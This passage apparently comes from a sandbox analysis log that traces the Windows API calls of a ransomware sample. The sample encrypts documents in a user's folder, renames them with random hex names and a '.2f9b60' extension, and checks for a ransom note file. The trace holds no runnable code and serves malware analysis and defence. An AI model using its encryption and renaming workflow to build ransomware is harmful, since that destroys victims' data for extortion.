2 [0092.141] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="75") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="6e") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="dd") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="b8") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="41") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="c0") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="16") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="b5") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="21") returned 2 [0092.142] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="76") returned 2 [0092.142] RtlInitAnsiString (in: DestinationString=0x2133fc88, SourceString="28ad34ea2346d6fa68470af0ee12a0140bb30b2f756eddb841c016b52176" | out: DestinationString="28ad34ea2346d6fa68470af0ee12a0140bb30b2f756eddb841c016b52176") [0092.142] RtlAnsiStringToUnicodeString (in: DestinationString=0x2133fc58, SourceString="28ad34ea2346d6fa68470af0ee12a0140bb30b2f756eddb841c016b52176", AllocateDestinationString=1 | out: DestinationString="28ad34ea2346d6fa68470af0ee12a0140bb30b2f756eddb841c016b52176") returned 0x0 [0092.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b7842e0 [0092.142] wcscat (in: _Dest=0x1b784250, _Source="28ad34ea2346d6f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f" [0092.142] wcscat (in: _Dest=0x1b784250, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f.2f9b60" [0092.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f.2f9b60", NtPathName=0x2133fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\28ad34ea2346d6f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce114a0 [0092.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.144] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2133fc98, FileInformation=0x2133fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2133fc98, FileInformation=0x2133fca8) returned 0x0 [0092.144] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2133fc98, FileInformation=0x2133fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 [0092.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0092.146] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.239] CloseHandle (hObject=0xcfc) returned 1 [0092.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79ddf0 [0092.275] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.275] wcscat (in: _Dest=0x1b79ddf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.275] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0092.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 Thread: id = 490 os_tid = 0xc7c [0092.148] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9JBEuIalac04H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9jbeuialac04h.pps")) returned 0x20 [0092.148] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9JBEuIalac04H.pps", dwFileAttributes=0x20) returned 1 [0092.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9JBEuIalac04H.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9jbeuialac04h.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0092.149] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x2185f7c0 | out: lpFileSize=0x2185f7c0*=32087) returned 1 [0092.149] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x7d53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.149] ReadFile (in: hFile=0xd04, lpBuffer=0x2185f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2185f788, lpOverlapped=0x0 | out: lpBuffer=0x2185f740*, lpNumberOfBytesRead=0x2185f788*=0x4, lpOverlapped=0x0) returned 1 [0092.150] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a480 [0092.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.150] NtQuerySystemTime (in: CurrentTime=0x2185f680 | out: CurrentTime=0x2185f680*=132462176979910000) returned 0x0 [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x165a3332 [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x607e1325 [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0xc3e0cff [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x4d0b50ae [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x7614ea3f [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0xb6f89 [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0xacfc216 [0092.150] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x69d88eee [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x74844dc8 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x7f322821 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x3c38632b [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x760d749f [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x25220f7 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x58699339 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x74379644 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x7b3e02b9 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x64ba644c [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x24d1da93 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x140d893c [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x330230ef [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x1a4fd65c [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x65329c10 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x1adbef42 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x5a661e82 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x1c68a7b9 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x64466a4 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x6289db9b [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x432601e1 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x5c41b28f [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0xa38838c [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x24b66c14 [0092.151] RtlRandomEx (in: Seed=0x2185f670 | out: Seed=0x2185f670) returned 0x44eecb77 [0092.160] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.160] ReadFile (in: hFile=0xd04, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2185f6e0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x2185f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.160] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2c0) returned 1 [0092.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2018c1b0 [0092.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.161] WriteFile (in: hFile=0xd04, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2185f6e0, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2185f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0092.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.220] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ebb0 [0092.221] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.221] WriteFile (in: hFile=0xd04, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2185f790, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2185f790*=0x114, lpOverlapped=0x0) returned 1 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0092.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82aab0 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0092.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a8d0) returned 1 [0092.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0092.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c120 [0092.224] sprintf (in: _Dest=0x1b82c120, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c122, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c124, _Format="%c%c" | out: _Dest="97") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c126, _Format="%c%c" | out: _Dest="b3") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c128, _Format="%c%c" | out: _Dest="2c") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c12a, _Format="%c%c" | out: _Dest="95") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c12c, _Format="%c%c" | out: _Dest="b5") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c12e, _Format="%c%c" | out: _Dest="40") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c130, _Format="%c%c" | out: _Dest="fd") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c132, _Format="%c%c" | out: _Dest="7b") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c134, _Format="%c%c" | out: _Dest="ae") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c136, _Format="%c%c" | out: _Dest="03") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c138, _Format="%c%c" | out: _Dest="dd") returned 2 [0092.224] sprintf (in: _Dest=0x1b82c13a, _Format="%c%c" | out: _Dest="38") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c13c, _Format="%c%c" | out: _Dest="49") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c13e, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c140, _Format="%c%c" | out: _Dest="68") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c142, _Format="%c%c" | out: _Dest="44") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c144, _Format="%c%c" | out: _Dest="03") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c146, _Format="%c%c" | out: _Dest="3a") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c148, _Format="%c%c" | out: _Dest="f2") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c14a, _Format="%c%c" | out: _Dest="2a") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c14c, _Format="%c%c" | out: _Dest="51") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c14e, _Format="%c%c" | out: _Dest="10") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c150, _Format="%c%c" | out: _Dest="a9") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c152, _Format="%c%c" | out: _Dest="49") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c154, _Format="%c%c" | out: _Dest="1a") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c156, _Format="%c%c" | out: _Dest="32") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c158, _Format="%c%c" | out: _Dest="92") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c15a, _Format="%c%c" | out: _Dest="e0") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c15c, _Format="%c%c" | out: _Dest="42") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c15e, _Format="%c%c" | out: _Dest="c0") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c160, _Format="%c%c" | out: _Dest="1b") returned 2 [0092.225] sprintf (in: _Dest=0x1b82c162, _Format="%c%c" | out: _Dest="3f") returned 2 [0092.225] RtlInitAnsiString (in: DestinationString=0x2185f808, SourceString="8e8e97b32c95b540fd7bae03dd38493d6844033af22a5110a9491a3292e042c01b3f" | out: DestinationString="8e8e97b32c95b540fd7bae03dd38493d6844033af22a5110a9491a3292e042c01b3f") [0092.225] RtlAnsiStringToUnicodeString (in: DestinationString=0x2185f7d8, SourceString="8e8e97b32c95b540fd7bae03dd38493d6844033af22a5110a9491a3292e042c01b3f", AllocateDestinationString=1 | out: DestinationString="8e8e97b32c95b540fd7bae03dd38493d6844033af22a5110a9491a3292e042c01b3f") returned 0x0 [0092.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7add40 [0092.225] wcscat (in: _Dest=0x1b7842e0, _Source="8e8e97b32c95b540f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f" [0092.225] wcscat (in: _Dest=0x1b7842e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f.2f9b60" [0092.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f.2f9b60", NtPathName=0x2185f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8e8e97b32c95b540f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce114a0 [0092.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.227] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x2185f818, FileInformation=0x2185f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2185f818, FileInformation=0x2185f828) returned 0x0 [0092.227] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x2185f818, FileInformation=0x2185f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0092.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0092.229] FlushFileBuffers (hFile=0xd04) returned 1 [0092.242] CloseHandle (hObject=0xd04) returned 1 [0092.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d9f0 [0092.269] wcscpy (in: _Dest=0x1b79d9f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.269] wcscat (in: _Dest=0x1b79d9f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.269] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 Thread: id = 491 os_tid = 0xc80 [0092.162] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9qNBw2T1gVF0BMXBp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9qnbw2t1gvf0bmxbp.xlsx")) returned 0x20 [0092.163] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9qNBw2T1gVF0BMXBp.xlsx", dwFileAttributes=0x20) returned 1 [0092.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9qNBw2T1gVF0BMXBp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9qnbw2t1gvf0bmxbp.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0092.163] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x2157f920 | out: lpFileSize=0x2157f920*=47471) returned 1 [0092.163] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0xb96b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.163] ReadFile (in: hFile=0xdac, lpBuffer=0x2157f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2157f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2157f8a0*, lpNumberOfBytesRead=0x2157f8e8*=0x4, lpOverlapped=0x0) returned 1 [0092.164] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.165] NtQuerySystemTime (in: CurrentTime=0x2157f7e0 | out: CurrentTime=0x2157f7e0*=132462176980066000) returned 0x0 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x198d2246 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x582e945b [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x3177f9ad [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x70ae353f [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x515d71a0 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0xa91159d [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x6e5ff4a2 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x1bb39de6 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x3a3be981 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x4fbcc186 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x20ceab01 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x13ad7dd8 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x7675d25f [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x8171d10 [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x357f9b5a [0092.165] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x11685e1a [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x4eb287a3 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x2ab8fd73 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x5535df42 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x6ced3d60 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x1dc77fa6 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x2cddb0b2 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x67c994a9 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x3d071368 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x307d925f [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x7cf6a0d5 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x1a4abc76 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x2ef1a7ef [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x5b0c2d93 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x1b4ab827 [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x37a4d3cb [0092.166] RtlRandomEx (in: Seed=0x2157f7d0 | out: Seed=0x2157f7d0) returned 0x10294208 [0092.180] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.181] ReadFile (in: hFile=0xdac, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2157f840, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x2157f840*=0x3c00, lpOverlapped=0x0) returned 1 [0092.181] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0092.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.182] RtlFreeHeap (HeapHandle=0xa0000, 